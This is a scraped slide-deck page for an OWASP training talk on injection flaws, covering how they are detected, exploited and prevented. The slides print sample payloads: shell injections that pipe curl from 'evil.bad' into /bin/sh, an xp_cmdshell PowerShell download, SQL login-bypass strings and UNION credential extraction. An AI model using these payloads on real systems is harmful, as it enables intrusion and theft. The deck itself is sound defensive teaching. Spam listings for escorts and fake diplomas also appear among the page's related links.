SlideShare a Scribd company logo
1 of 70
INJECTION
OWASP Top 10 Deep Dives
About Me
Injection the Biggest Hit
• Injection placed
at the top of
OWASP Top 10
since 2010
Injection the Biggest Hit
• Injection at the top of
MITRE Top 25
Injection Making Headlines
Many Types of Injection
• SQL Injection - Ability to insert arbitrary SQL
commands in database queries
• NoSQL Injection – Ability to insert arbitrary
commands in a NoSQL DB query
• OS Command Injection – Ability to insert
arbitrary commands in shell calls
• LDAP Injection – Ability to alter the logic of
an LDAP Query
• XPath Injection – Ability to alter the logic of
an XPath search
• MORE: MX, ORM, OGNL,
• RELATED: JSON, XML, HTML?, HTTP
HEADER?
LET'S PLAY,
WHAT TYPE OF
INJECTION IS IT?
SELECT * FROM users
WHERE name='admin' and
password='' or '1'='1';
Answer: SQL Injection
/bin/sh –c '~/backup.sh
test`curl
http://evil.bad/cc.sh|
/bin/sh`.zip'
Answer: OS Command
Injection
db.myCollection.find( {
active: true, $where:
'1=1');
Answer: NoSQL Injection
To sum all it up…
•Injection is the ability to insert arbitrary
commands into a string passed to a command
processor
•The type of injection takes the name of the
affected command processor: SQL, OS
Command, LDAP etc.
•SQL and OS Command the most widely exploited
CONCATENATION
… causes Injection!
COMMAND + INPUT = INJECTION
STRING REPLACEMENT
LET'S PLAY,
SPOT THE
INJECTION!
Answer: Both
Answer: Bottom
Answer: Top
To sum all it up…
•Recipe for Injection: Hazardous input
concatenated into a query or command
string
•command + input = injection
•replace(command, placeholder, input) =
injection
•format(command, input) = injection
Searching for Injection
'single ', "double", `back quote`
SELECT * FROM users WHERE
name='''
/bin/sh –c '~/backup.sh
test".zip'
Blind Injection
• Error is not displayed or
the error message is too
generic
"An internal error
has occurred"
• You may observe a
difference in the behavior
of the application
Error vs. No Error
• The application will show an "Internal Error" for a unenclosed quote "
• There will be no error if an enclosing quote is added, two quotes ""
$ /bin/sh -c '~/backup.sh test".zip'
/bin/sh: -c: line 0: unexpected EOF while looking for
matching `"'
/bin/sh: -c: line 1: syntax error: unexpected end of
file
$ /bin/sh -c '~/backup.sh test"".zip'
yay
Tautology
• Influence the logic of a query to be
always true or always false then
compare the outcome
SELECT * FROM users WHERE
id = 1 --returns one record
id = 1 or 1=1 --returns all
records (always true)
id = 1 and 2=1 --returns no
records (always false)
The ET Maneuver
• Especially in the case of OS injection you
could add commands that "call home"
• Some examples:
input';ping home.bad -c 1;echo '
input';curl home.bad; echo '
Burp Collaborator gives you a home
• Pro version of Burp creates dynamic
host names and reports on DNS
queries and HTTP requests
• Be careful what you send there
$ /bin/sh -c '~/backup.sh
test`curl
nofq92nxlhqs01t4rgwz5j84bvhl5a.bur
pcollaborator.net`.zip'
% Total % Received %
Xferd Average
Glass Box
Stacktrace:] with root cause
ERROR 42X01: Syntax error: Encountered
"'" at line 1, column 49.
at
org.apache.derby.iapi.error.StandardExce
ption.newException(Unknown Source)
at
org.apache.derby.iapi.error.StandardExce
ption.newException(Unknown Source)
at
org.apache.derby.impl.sql.compile.Parser
Impl.parseStatementOrSearchCondition(Unk
nown Source)
at
org.apache.derby.impl.sql.compile.Parser
Impl.parseStatement(Unknown Source)
at
org.apache.derby.impl.sql.GenericStateme
nt.prepMinion(Unknown Source)
• Access to the
application or server
logs (you're a developer
or tester)
• Tail the log and observe
the errors that occur
when inserting quotes
Other symbols
•LDAP Injection : ( ) | &
•NoSQL Injection: , $where { } ( )
•SQL Injection: ; =
•Command Injection: ; & | $ ( )
Using Automated Tools
Dynamic Analysis tools
• numerous payloads
intended to influence
application behavior
• OWASP ZAP
Static Analysis tools
• analyze the call graph in
the application code to
determine insecure
coding
To sum all it up…
•Unenclosed quotes break the
command/query
•Look for errors
•Look for behavior changes
•Call home
•Look for errors in logs
•Use automated tools such as OWASP ZAP
How to
exploit
Injection?
The Magic Credentials
•User names that get you logged into the
administrator account:
•admin'--
•admin' or '1'='1
• ' or '1'='1
The UNION keyword
In the case of SQL Injection the
UNION command is used to append
results from a sensitive table to the
impacted query.
SELECT articleId,
title, description
FROM transactions
WHERE userId=15125
UNION SELECT 1,
username, password
FROM users
articleId title description
2 "About Us" "This is the
about page"
3 "Home" "This is the
home page"
1 admin @dm!n
1 jdoe p@$$w0rd
Deploy Malware
Command Injection, but also SQL Injection are used to deploy
malware and reverse shells
• ping host.local`curl
http://evil.bad/malware.sh|/bin/sh`
• SELECT * FROM users; EXEC xp_cmdshell
'powershell -command Invoke-RestMethod -
Uri http://evil.bad/malware>malware.bat'
To sum all it up…
•Injection can be exploited in powerful
ways
•Break authentication
•Exfiltrate data
•Install reverse shells and malware
•Full impact of Confidentiality, Integrity and
Availability
DEMO
DEFENDING AGAINST INJECTION
Quotes Not Needed
• Majority of application
parameters are not intended
to contain quotes
• Many of them are not even
intended to contain Unicode
characters
• Parameters going into
database queries such as ID,
true/false, asc/desc have even
a smaller character set
Alphanumeric
Alphanumeric + .-_
Whitelisting vs. Blacklisting
•Blacklisting can be bypassed
• Encoding attacks
• Forgotten types of quotes
• Injection without quotes
• Remember the how many times
Shellshock was fixed?
Unicode Validation
• One of the common misconceptions against whitelisting:
multi-language support
• Most programming languages even regular expressions (p)
will classify other language characters correctly
Character.isLetter("人") == true
Character.isLetter("û") == true
Input Validation Example
A Simple Multi-Purpose Function
isAlphanumOrEx("true")
isAlphanumOrEx("desc")
isAlphanumOrEx("21845816438168")
isAlphanumOrEx("0x0709750fa566")
isAlphanumOrEx("Cr2i7nHq6qiMEs")
isAlphanumOrEx("site.local",'.')
The Proper Response to an Injection Attack
• Error conditions can be used to detect injection but this error is
what you always want to see in response to hazardous characters
BAD REQUEST:
INVALID INPUT - MUST BE ALPHANUMERIC
Amount of vulnerabilities
inversely proportional with
amount of Input Whitelisting
Attacks Prevented by Whitelisting
•Injection
•Path Traversal
•Cross-Site Scripting
•Open Redirect
•Deserialization
…
How About the Irish?
•Names, comments, articles, free text require
quotes:
•O'Brien, don't, "putting things in quotes"
•While input whitelisting reduces the attack
surface, it cannot prevent all attacks
CONCATENATION
Command Constant
Parameter 1 Input
Parameter 2 Input
Command
Interpreter
LET'S PLAY,
WHAT DEFENSE
IS IT!
Answer: Parameterized
Command
Answer: Parameterized
Command
Answer: Input
Whitelisting &
Parameterized Command
ORM Frameworks
• ORM = Object Relational Mapping
• ORM Frameworks keep developers away from SQL Queries
• Popular ORM Framework: Hibernate
Command Constant
Parameter 1 Input
Parameter 2 Input
Command
Interpreter
Object
Field1 Input
Field2 Input
OWASP ESAPI
• ESAPI – The Enterprise Security API
• Open Source Library containing
security controls
• Written and tested by application
security experts
• Recognized by static analysis tools
Using Automated Tools
Intrusion Detection and Prevention (IDS/IPS) / Web
Application Firewall (WAS)
• automated blacklisting rules
• can be bypassed
• can alert
Runtime Analysis (RASP)
• instrument the application
• can detect the exploit and block it
To sum all it up…
•Input Whitelisting reduces the attack surface and
prevents many attack types
•Parameterized Commands handle situations where
hazardous chars are needed
•ORM Frameworks prevent mistakes
•OWASP ESAPI provides a set of handy security
functions
•IDS/IPS/WAF/RASP can alert and prevent some of the
attacks but not a replacement for secure coding.
Test Your Knowledge and get a Badge
• https://owasp.trendmicro.com
• SQL Injection Challenge
•Play code: In' or '1'='1' or 'jection
• Get a participation badge via
Badgr.io
Owasp Top 10 - A1 Injection

More Related Content

What's hot

CNIT 126 11. Malware Behavior
CNIT 126 11. Malware BehaviorCNIT 126 11. Malware Behavior
CNIT 126 11. Malware BehaviorSam Bowne
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesSoftware Guru
 
Secure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa WorkshopSecure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa WorkshopPaul Ionescu
 
Getting Started with API Security Testing
Getting Started with API Security TestingGetting Started with API Security Testing
Getting Started with API Security TestingSmartBear
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySandip Chaudhari
 
How to Test for The OWASP Top Ten
 How to Test for The OWASP Top Ten How to Test for The OWASP Top Ten
How to Test for The OWASP Top TenSecurity Innovation
 
Sql injection in cybersecurity
Sql injection in cybersecuritySql injection in cybersecurity
Sql injection in cybersecuritySanad Bhowmik
 
Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practicesScott Hurrey
 
Pentesting GraphQL Applications
Pentesting GraphQL ApplicationsPentesting GraphQL Applications
Pentesting GraphQL ApplicationsNeelu Tripathy
 
OWASP Secure Coding
OWASP Secure CodingOWASP Secure Coding
OWASP Secure Codingbilcorry
 
Outlook and Exchange for the bad guys
Outlook and Exchange for the bad guysOutlook and Exchange for the bad guys
Outlook and Exchange for the bad guysNick Landers
 
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms Sam Bowne
 
Sql injections - with example
Sql injections - with exampleSql injections - with example
Sql injections - with examplePrateek Chauhan
 
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)Sam Bowne
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectBlueinfy Solutions
 
PSConfEU - Offensive Active Directory (With PowerShell!)
PSConfEU - Offensive Active Directory (With PowerShell!)PSConfEU - Offensive Active Directory (With PowerShell!)
PSConfEU - Offensive Active Directory (With PowerShell!)Will Schroeder
 
OWASP API Security Top 10 - API World
OWASP API Security Top 10 - API WorldOWASP API Security Top 10 - API World
OWASP API Security Top 10 - API World42Crunch
 
CNIT 129S: 11: Attacking Application Logic
CNIT 129S: 11: Attacking Application LogicCNIT 129S: 11: Attacking Application Logic
CNIT 129S: 11: Attacking Application LogicSam Bowne
 

What's hot (20)

Sql injection attack
Sql injection attackSql injection attack
Sql injection attack
 
CNIT 126 11. Malware Behavior
CNIT 126 11. Malware BehaviorCNIT 126 11. Malware Behavior
CNIT 126 11. Malware Behavior
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
 
Secure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa WorkshopSecure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa Workshop
 
Getting Started with API Security Testing
Getting Started with API Security TestingGetting Started with API Security Testing
Getting Started with API Security Testing
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and Security
 
How to Test for The OWASP Top Ten
 How to Test for The OWASP Top Ten How to Test for The OWASP Top Ten
How to Test for The OWASP Top Ten
 
Sql injection in cybersecurity
Sql injection in cybersecuritySql injection in cybersecurity
Sql injection in cybersecurity
 
Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practices
 
Pentesting GraphQL Applications
Pentesting GraphQL ApplicationsPentesting GraphQL Applications
Pentesting GraphQL Applications
 
OWASP Secure Coding
OWASP Secure CodingOWASP Secure Coding
OWASP Secure Coding
 
Outlook and Exchange for the bad guys
Outlook and Exchange for the bad guysOutlook and Exchange for the bad guys
Outlook and Exchange for the bad guys
 
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
 
Sql injections - with example
Sql injections - with exampleSql injections - with example
Sql injections - with example
 
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
 
Api security-testing
Api security-testingApi security-testing
Api security-testing
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open Redirect
 
PSConfEU - Offensive Active Directory (With PowerShell!)
PSConfEU - Offensive Active Directory (With PowerShell!)PSConfEU - Offensive Active Directory (With PowerShell!)
PSConfEU - Offensive Active Directory (With PowerShell!)
 
OWASP API Security Top 10 - API World
OWASP API Security Top 10 - API WorldOWASP API Security Top 10 - API World
OWASP API Security Top 10 - API World
 
CNIT 129S: 11: Attacking Application Logic
CNIT 129S: 11: Attacking Application LogicCNIT 129S: 11: Attacking Application Logic
CNIT 129S: 11: Attacking Application Logic
 

Similar to Owasp Top 10 - A1 Injection

Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers dofangjiafu
 
Unique Features of SQL Injection in PHP Assignment
Unique Features of SQL Injection in PHP AssignmentUnique Features of SQL Injection in PHP Assignment
Unique Features of SQL Injection in PHP AssignmentLesa Cote
 
Web hacking series part 3
Web hacking series part 3Web hacking series part 3
Web hacking series part 3Aditya Kamat
 
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi WallsOSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi WallsNETWAYS
 
OSDC 2017 - Mandi Walls - Building security into your workflow with inspec
OSDC 2017 - Mandi Walls - Building security into your workflow with inspecOSDC 2017 - Mandi Walls - Building security into your workflow with inspec
OSDC 2017 - Mandi Walls - Building security into your workflow with inspecNETWAYS
 
Adding Security to Your Workflow with InSpec (MAY 2017)
Adding Security to Your Workflow with InSpec (MAY 2017)Adding Security to Your Workflow with InSpec (MAY 2017)
Adding Security to Your Workflow with InSpec (MAY 2017)Mandi Walls
 
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lampDEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lampFelipe Prado
 
OWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacksOWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacksMohamed Talaat
 
My Little Webap - DevOpsSec is Magic
My Little Webap - DevOpsSec is MagicMy Little Webap - DevOpsSec is Magic
My Little Webap - DevOpsSec is MagicApollo Clark
 
Anatomy of a Buffer Overflow Attack
Anatomy of a Buffer Overflow AttackAnatomy of a Buffer Overflow Attack
Anatomy of a Buffer Overflow AttackRob Gillen
 
ITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdf
ITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdfITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdf
ITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdfOrtus Solutions, Corp
 
Adding Security to Your Workflow With InSpec - SCaLE17x
Adding Security to Your Workflow With InSpec - SCaLE17xAdding Security to Your Workflow With InSpec - SCaLE17x
Adding Security to Your Workflow With InSpec - SCaLE17xMandi Walls
 
Web & Wireless Hacking
Web & Wireless HackingWeb & Wireless Hacking
Web & Wireless HackingDon Anto
 
SQL INJECTIONS EVERY TESTER NEEDS TO KNOW
SQL INJECTIONS EVERY TESTER NEEDS TO KNOWSQL INJECTIONS EVERY TESTER NEEDS TO KNOW
SQL INJECTIONS EVERY TESTER NEEDS TO KNOWVladimir Arutin
 
seminar report on Sql injection
seminar report on Sql injectionseminar report on Sql injection
seminar report on Sql injectionJawhar Ali
 

Similar to Owasp Top 10 - A1 Injection (20)

PHP - Introduction to Advanced SQL
PHP - Introduction to Advanced SQLPHP - Introduction to Advanced SQL
PHP - Introduction to Advanced SQL
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
 
Google Dorks and SQL Injection
Google Dorks and SQL InjectionGoogle Dorks and SQL Injection
Google Dorks and SQL Injection
 
Unique Features of SQL Injection in PHP Assignment
Unique Features of SQL Injection in PHP AssignmentUnique Features of SQL Injection in PHP Assignment
Unique Features of SQL Injection in PHP Assignment
 
Web hacking series part 3
Web hacking series part 3Web hacking series part 3
Web hacking series part 3
 
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi WallsOSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
 
OSDC 2017 - Mandi Walls - Building security into your workflow with inspec
OSDC 2017 - Mandi Walls - Building security into your workflow with inspecOSDC 2017 - Mandi Walls - Building security into your workflow with inspec
OSDC 2017 - Mandi Walls - Building security into your workflow with inspec
 
Adding Security to Your Workflow with InSpec (MAY 2017)
Adding Security to Your Workflow with InSpec (MAY 2017)Adding Security to Your Workflow with InSpec (MAY 2017)
Adding Security to Your Workflow with InSpec (MAY 2017)
 
Sql injection
Sql injectionSql injection
Sql injection
 
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lampDEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
 
OWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacksOWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacks
 
My Little Webap - DevOpsSec is Magic
My Little Webap - DevOpsSec is MagicMy Little Webap - DevOpsSec is Magic
My Little Webap - DevOpsSec is Magic
 
Anatomy of a Buffer Overflow Attack
Anatomy of a Buffer Overflow AttackAnatomy of a Buffer Overflow Attack
Anatomy of a Buffer Overflow Attack
 
ITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdf
ITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdfITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdf
ITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdf
 
Adding Security to Your Workflow With InSpec - SCaLE17x
Adding Security to Your Workflow With InSpec - SCaLE17xAdding Security to Your Workflow With InSpec - SCaLE17x
Adding Security to Your Workflow With InSpec - SCaLE17x
 
Web & Wireless Hacking
Web & Wireless HackingWeb & Wireless Hacking
Web & Wireless Hacking
 
SQL INJECTIONS EVERY TESTER NEEDS TO KNOW
SQL INJECTIONS EVERY TESTER NEEDS TO KNOWSQL INJECTIONS EVERY TESTER NEEDS TO KNOW
SQL INJECTIONS EVERY TESTER NEEDS TO KNOW
 
ORM Injection
ORM InjectionORM Injection
ORM Injection
 
seminar report on Sql injection
seminar report on Sql injectionseminar report on Sql injection
seminar report on Sql injection
 
9: OllyDbg
9: OllyDbg9: OllyDbg
9: OllyDbg
 

Recently uploaded

React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaHanief Utama
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfPower Karaoke
 
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024StefanoLambiase
 
Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Velvetech LLC
 
Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)OPEN KNOWLEDGE GmbH
 
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样umasea
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityNeo4j
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackVICTOR MAESTRE RAMIREZ
 
Folding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesFolding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesPhilip Schwarz
 
MYjobs Presentation Django-based project
MYjobs Presentation Django-based projectMYjobs Presentation Django-based project
MYjobs Presentation Django-based projectAnoyGreter
 
Professional Resume Template for Software Developers
Professional Resume Template for Software DevelopersProfessional Resume Template for Software Developers
Professional Resume Template for Software DevelopersVinodh Ram
 
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideBuilding Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideChristina Lin
 
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...soniya singh
 
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...gurkirankumar98700
 
英国UN学位证,北安普顿大学毕业证书1:1制作
英国UN学位证,北安普顿大学毕业证书1:1制作英国UN学位证,北安普顿大学毕业证书1:1制作
英国UN学位证,北安普顿大学毕业证书1:1制作qr0udbr0
 
Unveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML DiagramsUnveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML DiagramsAhmed Mohamed
 
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer DataAdobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer DataBradBedford3
 
Cloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEECloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEEVICTOR MAESTRE RAMIREZ
 
What are the key points to focus on before starting to learn ETL Development....
What are the key points to focus on before starting to learn ETL Development....What are the key points to focus on before starting to learn ETL Development....
What are the key points to focus on before starting to learn ETL Development....kzayra69
 

Recently uploaded (20)

React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief Utama
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdf
 
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
 
Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...
 
Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)
 
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered Sustainability
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStack
 
Folding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesFolding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a series
 
MYjobs Presentation Django-based project
MYjobs Presentation Django-based projectMYjobs Presentation Django-based project
MYjobs Presentation Django-based project
 
Professional Resume Template for Software Developers
Professional Resume Template for Software DevelopersProfessional Resume Template for Software Developers
Professional Resume Template for Software Developers
 
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideBuilding Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
 
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
 
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
 
英国UN学位证,北安普顿大学毕业证书1:1制作
英国UN学位证,北安普顿大学毕业证书1:1制作英国UN学位证,北安普顿大学毕业证书1:1制作
英国UN学位证,北安普顿大学毕业证书1:1制作
 
Unveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML DiagramsUnveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML Diagrams
 
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer DataAdobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
 
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort ServiceHot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
 
Cloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEECloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEE
 
What are the key points to focus on before starting to learn ETL Development....
What are the key points to focus on before starting to learn ETL Development....What are the key points to focus on before starting to learn ETL Development....
What are the key points to focus on before starting to learn ETL Development....
 

Owasp Top 10 - A1 Injection

  • 3. Injection the Biggest Hit • Injection placed at the top of OWASP Top 10 since 2010
  • 4. Injection the Biggest Hit • Injection at the top of MITRE Top 25
  • 6. Many Types of Injection • SQL Injection - Ability to insert arbitrary SQL commands in database queries • NoSQL Injection – Ability to insert arbitrary commands in a NoSQL DB query • OS Command Injection – Ability to insert arbitrary commands in shell calls • LDAP Injection – Ability to alter the logic of an LDAP Query • XPath Injection – Ability to alter the logic of an XPath search • MORE: MX, ORM, OGNL, • RELATED: JSON, XML, HTML?, HTTP HEADER?
  • 7. LET'S PLAY, WHAT TYPE OF INJECTION IS IT?
  • 8. SELECT * FROM users WHERE name='admin' and password='' or '1'='1';
  • 14. To sum all it up… •Injection is the ability to insert arbitrary commands into a string passed to a command processor •The type of injection takes the name of the affected command processor: SQL, OS Command, LDAP etc. •SQL and OS Command the most widely exploited
  • 15.
  • 19.
  • 21.
  • 23.
  • 25. To sum all it up… •Recipe for Injection: Hazardous input concatenated into a query or command string •command + input = injection •replace(command, placeholder, input) = injection •format(command, input) = injection
  • 27. 'single ', "double", `back quote`
  • 28. SELECT * FROM users WHERE name=''' /bin/sh –c '~/backup.sh test".zip'
  • 29.
